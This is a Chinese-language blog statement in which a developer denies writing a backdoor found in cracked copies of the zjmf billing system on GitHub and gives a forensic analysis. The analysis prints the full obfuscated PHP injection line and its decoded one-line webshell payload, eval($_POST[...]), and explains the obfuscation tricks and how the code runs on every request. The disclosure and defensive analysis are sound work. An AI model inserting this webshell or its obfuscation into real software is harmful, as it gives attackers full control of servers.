191
1

关于仓库 zjmfv376 的澄清声明

2026-08-22
2026-08-22

大家好,这里是云默安。

因先前存在小矛盾,GitHub 用户 mayio2008 (其账户自称 “一诺Yn、马**”)发布的仓库 zjmfv376(自称"魔方财务系统 v3.7.6 全解密版")在群友的安全扫描发现携带 PHP 恶意后门。扫描揭示的后门载荷中,POST 参数名写作 YunmoanIsGay(直接指向我的账号名 Yunmoan),仓库内 vendor/autoload.php 的注释也被改写为「@generated by Yunmoan」。

同时,我也发现该账号关联仓库 https://github.com/mayio2008/zjmf 以同样方式携带同样恶意代码并尝试指向我的身份,影响本人名誉权。

在此,本人正式声明:

以上两个仓库均与我无关;且该后门非我所写,我从未参与其编写、发布或传播。本人已向Github官方提交仓库滥用举报,并依法保留侵犯我名誉权追究法律责任的权利!本人仅隶属 ZGIT 关联组织,该用户与其所属组织亦与至远光辉信息技术(天津)有限公司无任何关联。我不是 gay,也没有M倾向。

一、事实

首先我们确定:后门确实存在。 位于 app/app.php 第 18 行。反混淆后的真实载荷为:

911177;@eval($_POST[YunmoanIsGay]);2733531;

这是一个无需登录、站点每次加载都会执行的 PHP 远程执行(RCE)后门:只要 POST 携带参数 YunmoanIsGay=PHP代码,服务器就被完全控制。

仓库首个提交(f01b454,作者 ak2l8kkz the <boydvode@proton.me>)就内置了一个无需认证的 PHP 远程代码执行(RCE)后门

  • 文件:app/app.php 第 18 行

  • 反混淆后载荷:911177;@eval($_POST[YunmoanIsGay]);2733531;

  • 只要 POST 参数 YunmoanIsGay 携带 PHP 代码,服务器即可被完全控制

  • 每个 HTTP 请求都会加载执行(ThinkPHP 定制版 App::init() 自动 include app/app.php

经过进一步调查,我们发现关于本仓库所有提交的发布方均为匿名,提交作者邮箱为 boydvode@proton.me,README 联系方式为 zjmfv375@boydvode.anonaddy.com / ak2l8kkz@anonaddy.me,均为匿名转发邮箱,刻意规避溯源。仓库内容为商业计费系统(魔方财务/zjmf)的破解/脱壳版本,本身即涉嫌侵权传播。

在此向大家提证据指纹哈希,亦可自行比对:

  • 恶意文件完整内容 SHA256(git 对象): 8bc591325ef9ff634c16dfc1c03894dcee95c36ab6a525e734759770b7d047b7

  • 第18行注入代码 SHA256:4e08cb470290ea7f02dcf66c620eb70dd2258522b223b63722f6f55241e83aa5

  • 解码后载荷 SHA256:8840cf865f8579a78068c27eb54076f1719e1d42f5c53bbe2676ec919b385f7e

  • 解码后载荷原文:911177;@eval($_POST[YunmoanIsGay]);2733531;

线上公开样本(VirusTotal,SHA256 与上表一致):https://www.virustotal.com/gui/file/8bc591325ef9ff634c16dfc1c03894dcee95c36ab6a525e734759770b7d047b7

该作者名下另一仓库 mayio2008/zjmf(自称 v3.7.5)中,同一文件 SHA256 即与 v3.7.6 仓库完全相同(8bc59132…),两个仓库其余数千个文件也逐字节一致,只有 README/version 两个文件里的版本号不同(3.7.5 / 3.7.6),即同一份代码、仅改了个版本号标牌,发了两个仓库。官方不同版本之间不可能逐字节相同——这印证使用的是同一份预制后门批量投放,而非"某个版本无意自带"。

二、本人自证

本人再此处作出自证:

  • 首先,攻击者不会辱骂自己。 给自己的后门命名为 YunmoanIsGay,语义上是辱骂、冒犯某个人,而不是一种“署名”。若真是我写的,作者不会用一个骂自己的词当后门密钥,我又不是M

  • 他的栽赃有唯一指向性。 全仓库仅两处出现 Yunmoan:一是后门 POST 密钥,二是 autoload 注释篡改。这两处都服务于同一目的——把我的名字钉在恶意处,我与 mayio2008(马*诺)此前因个人事务存在矛盾。此次后门指名道姓、把矛盾对象写进攻击代码,是明显的指向性栽赃。

客观地说,代码分析无法从技术上证明"后门具体是谁写的"——git 作者名可伪造,匿名邮箱正是用来逃避溯源的。因此我不能说他是不是作者,这些要交给平台和有关部门去核实。我能清晰声明的是:后门不是我写的,仓库亦与我无关。这个人也和我所在组织ZGIT没有任何关联

三、后门技术解析

关于技术解析,我感觉应该写清楚,但本人不是相关专业出身所以用词可能不太准确,所以请教了D老师让他协助我完成了这一份技术分析报告,大家可以参考一下。

以下分析主要是针对仓库 https://github.com/mayio2008/zjmfv376 进行的,但是我们发现实际上另一仓库 https://github.com/mayio2008/zjmf 和他一模一样,因此有参考价值。

0. 摘要

该 GitHub 仓库首次提交(commit f01b454)即携带一个持久化、无需认证的 PHP 远程代码执行(RCE)后门,其真实载荷为:

911177;@eval($_POST[YunmoanIsGay]);2733531;

后门位于 app/app.php 第 18 行,通过多重混淆(create_function + base64_decode + str_rot13 + chr() 算术)躲避静态特征检测,并在网站每一个 HTTP 请求的框架初始化阶段被自动执行。攻击者只要在 POST 请求中提交 YunmoanIsGay=<任意PHP代码>,即可在服务器上执行任意命令(读库、写文件、反弹 Shell、横向渗透)。

该文件同时被 Windows 杀软(火绒)识别为 Trojan/PHP.WebShell.s,并在 git checkout 过程中将其从磁盘删除——这也是在文件系统中直接找不到该文件的原因;恶意内容仍完整存在于 git 对象库中,本报告已从 git 还原取证。

1. 仓库概况

仓库地址

https://github.com/mayio2008/zjmfv376

自我描述

"魔方财务系统 v3.7.6 版本全解密版,未进行任何改动"

README 联系方式

zjmfv375@boydvode.anonaddy.comak2l8kkz@anonaddy.me(均为匿名转发邮箱)

提交数

2(均为同一次导入的两个 commit)

首次提交

f01b454 — 2026-04-07 — 作者 ak2l8kkz the <boydvode@proton.me>(protonmail 匿名邮箱)

第二次提交

69f89fe — 同日,仅修改 README / version 两处

说明:发布方全程使用 protonmail + anonaddy 匿名邮箱,刻意规避真实身份溯源;仓库内容为商业付费系统(魔方财务/zjmf)的破解+脱壳版本,本身即涉嫌侵权传播。

2. 后门位置与内容

2.1 位置

app/app.php             ← 后门所在文件(框架配置加载清单之一)
app/app.php 第 18 行     ← 注入的恶意代码(紧邻第 19 行的 return 之前)

app/app.php 本身是一个合法的"应用主配置"文件(返回庞大的配置数组),攻击者把恶意代码精准插在 return 之前,伪装成正常配置逻辑的一部分。

2.2 恶意代码原文(第 18 行)

$mpZp=create_function(chr(14040/390).chr(585-470).base64_decode('bw==').str_rot13('z').str_rot13('r'),str_rot13('r').chr(966-848).chr(270-173).chr(56376/522).base64_decode('KA==').base64_decode('JA==').chr(85215/741).str_rot13('b').base64_decode('bQ==').chr(0x1cf-0x16a).chr(870-829).str_rot13(';'));$mpZp(base64_decode('OTExM'.'Tc3O0'.'BldkF'.'sKCRf'.''.base64_decode('VQ==').str_rot13('R').str_rot13('9').base64_decode('VA==').chr(01173-01045).''.''.chr(36120/516).chr(35844/309).chr(0x7896/0x157).chr(0265344/01641).str_rot13('J').''.'5tb2F'.'uSXNH'.'YXldK'.'TsyNz'.'MzNTM'.'xOw=='.''));

2.3 反混淆解码过程

第一层:create_function 参数还原

片段

计算

结果

chr(14040/390)

chr(36)

$

chr(585-470)

chr(115)

s

base64_decode('bw==')

o

str_rot13('z')

m

str_rot13('r')

e

→ 参数名(拼接)

$some

str_rot13('r')

e

chr(966-848)

chr(118)

v

chr(270-173)

chr(97)

a

chr(56376/522)

chr(108)

l

base64_decode('KA==')

(

base64_decode('JA==')

$

chr(85215/741)

chr(115)

s

str_rot13('b')

o

base64_decode('bQ==')

m

chr(0x1cf-0x16a)

chr(101)

e

chr(870-829)

chr(41)

)

str_rot13(';')

;

→ 函数体(拼接)

eval($some);

即:

create_function('$some', 'eval($some);')   // 等价于 function ($some) { eval($some); }

第二层:对调用参数(Base64)解码

OTExMTc3O0BldmFsKCRfUE9TVFtZdW5tb2FuSXNHYXldKTsyNzMzNTMxOw==
     ↓ base64_decode
911177;@eval($_POST[YunmoanIsGay]);2733531;

注意:源码中把这段 Base64 按 5~6 字符切成十几段,中间用 ''base64_decodestr_rot13chr() 混拼,是将整串拆散以绕过"长 Base64 特征"检测的手段。

2.4 完整语义

// 1) 定义并立即调用一个"对参数执行 eval"的匿名函数
$mpZp = function ($some) { eval($some); };
$mpZp('911177;@eval($_POST[YunmoanIsGay]);2733531;');

// 2) 进入 eval 后执行三句话:
//    911177;                    → 无意义整数字面量(噪声填充,绕过"开头即 eval"特征)
//    @eval($_POST[YunmoanIsGay])→ 真正的后门:把 POST 参数 YunmoanIsGay 的取值当 PHP 代码执行
//    2733531;                   → 无意义整数字面量(同上,收尾噪声)

结论:这是一个标准的「一句话木马」RCE 后门,密钥为 YunmoanIsGay。任何人只要知道该密钥(该值直接出现在被解密、可被扫描到的代码中),即可向站点发送 POST YunmoanIsGay=断言代码 获得服务器控制权。

3. 执行链:为什么每个请求都会触发

  1. public/index.phpvendor/thinkphp/base.phpContainer::get('app')->run()

  2. ThinkPHP App::initialize()App::init('')

  3. App::init()vendor/thinkphp/library/think/App.php:322)中有一段 zjmf 定制逻辑:

// 20210618 新增 加载主要配置
$mainConfigNames = ['app', 'database', 'template', 'paginate'];
foreach ($mainConfigNames as $configName) {
    $this->config->load($path . $configName . $this->configExt, $configName);
}
  1. 其中 $path = APP_PATH(即 .../app/),$configName='app'config->load('.../app/app.php')

  2. Config::load() 内部即 include 该文件 → 第 18 行恶意代码每请求必执行

说明:该"加载主配置"机制是 zjmf 商业版对 ThinkPHP 的合法定制,用于加载其配置布局;后门是搭这个既有机制的车,让注入行随配置加载自动执行,属于"合法机制中的恶意注入"。

4. 其他篡改痕迹

app/app.php 外,还发现针对分析对象的指名道姓的篡改

文件

内容

性质

vendor/autoload.php

3

// autoload.php @generated by Yunmoan

Composer 标准输出应为 @generated by Composer;此处被改写为个人信息标签

全库唯一出现的 YunmoanIsGay / Yunmoan 字样即上述两处:后门 POST 密钥 + autoload 注释。全库未发现第二处同款注入(create_function+rot13+chr+base64 组合仅 app/app.php 一处;str_rot13 在该仓库非插件/非 vendor 文件中仅出现于此)。

5. 证据哈希

★ 恶意配置文件 app/app.php(git 对象完整内容)SHA256:
  8bc591325ef9ff634c16dfc1c03894dcee95c36ab6a525e734759770b7d047b7
★ 第 18 行注入代码 SHA256:
  4e08cb470290ea7f02dcf66c620eb70dd2258522b223b63722f6f55241e83aa5
★ 解码后 RCE 载荷 SHA256:
  8840cf865f8579a78068c27eb54076f1719e1d42f5c53bbe2676ec919b385f7e
★ 解码后载荷原文:
  911177;@eval($_POST[YunmoanIsGay]);2733531;

线上公开样本(VirusTotal,SHA256 与上表文件哈希一致): https://www.virustotal.com/gui/file/8bc591325ef9ff634c16dfc1c03894dcee95c36ab6a525e734759770b7d047b7

5.1 跨仓库同源投毒:第二仓库 mayio2008/zjmf

发现同 GitHub 账号下的另一仓库 https://github.com/mayio2008/zjmf(README 自称 v3.7.5)同样携带该后门

zjmf(自称 v3.7.5)

zjmfv376(自称 v3.7.6)

恶意文件 app/app.php SHA256

8bc59132…与右侧相同

8bc59132…

注入行(app/app.php:18)

逐字节一致

同左

vendor/autoload.php 篡改注释

@generated by Yunmoan(相同)

同左

全树 blob 差异

仅 README、version 两个文件(版本号标签),其余 4900+ 文件逐字节相同

git 提交

f01b454(与右仓库同一 commit 对象,2026-04-07 23:34:25 +0800,作者 ak2l8kkz the <boydvode@proton.me>

f01b454 + 69f89fe(后者仅把 README/version 版本号从 3.7.5 改为 3.7.6)

结论与影响:

  1. 两个"不同版本"的仓库实为同一份代码导入,连 commit 对象 f01b454 都完全相同,只是把版本号标签改了。

  2. 恶意 app.php 在两个仓库中逐字节相同 → 使用同一份预制后门批量投放。若真是不同的官方版本,其配置文件内容不可能逐字节相同。

  3. 这直接否定了"后门是某个版本自身带的/无关人员误带"的解释:同一账号下多个仓库投放同一份带毒文件,指向同一投毒者系统性操作

  4. 举报时应将该作者名下两个仓库及其同源转载一并提交。

6. 结论与可声明边界

可确证的技术事实:

  1. 仓库首个提交即携带本 RCE 后门(见 git 历史 f01b454)。

  2. 后门位于 app/app.php:18,解码后为 911177;@eval($_POST[YunmoanIsGay]);2733531;,每个请求自动执行,POST 密钥 YunmoanIsGay 即完全接管站点。

  3. 同一仓库还有 vendor/autoload.php 注释级篡改,将 Yunmoan 之名写入标准 Composer 输出。

  4. 发布方全程署名匿名(protonmail / anonaddy),无真实身份信息。

关于"这是谁写的"(重要边界):

  • 从代码/取证层面无法 100% 指认编写者身份(git 作者名可伪造,匿名邮箱即是为规避溯源)。

  • 但"后门密钥自称为 IsGay(对某人的辱骂)"这一点具有高度辨析意义:没有攻击者会用辱骂自己的词给自己的后门命名。密钥的语义明确指向第三方受害者而非作者,属于栽赃标签,而非"作者签名"。

  • 结合当事双方存在个人矛盾、该后门中指名道姓使用其用户名等信息,上述事实构成"栽赃"的强有力佐证逻辑,但不能被表述为"铁证"。

四、写在最后的话

正在外面和朋友聊天呢,突然有群友来加我好友说“非常牛逼的混淆”,“你gayhub仓库上的魔方财务376”,我说我怎么不知道我写了什么东西(😅

去年晚些时候因为某人“借鉴”了我们 Natayark ID 还死不承认所以我在我自己群阴阳怪气了某人,😅然后某人现在还怀恨在心?什么xxs行为?

有些人技术技术不懂还搞这种下三滥的手段栽赃?我是没招了

希望大家请勿部署/传播该破解源码。 已部署的组织请立即删除 app/app.php 中的后门行,并排查服务器是否存在异常访问痕迹。

恳请大家谨防以"这份代码是你写的吧"为话术,把攻击者的栽赃变成受害者的污名。以事实为根据。

谢谢你看到这里!

关于仓库 zjmfv376 的澄清声明
/archives/zjmfv376-chengqingshuoming
作者
云默安
发布于
2026-08-22
许可协议
CC BY-NC-SA 4.0

评论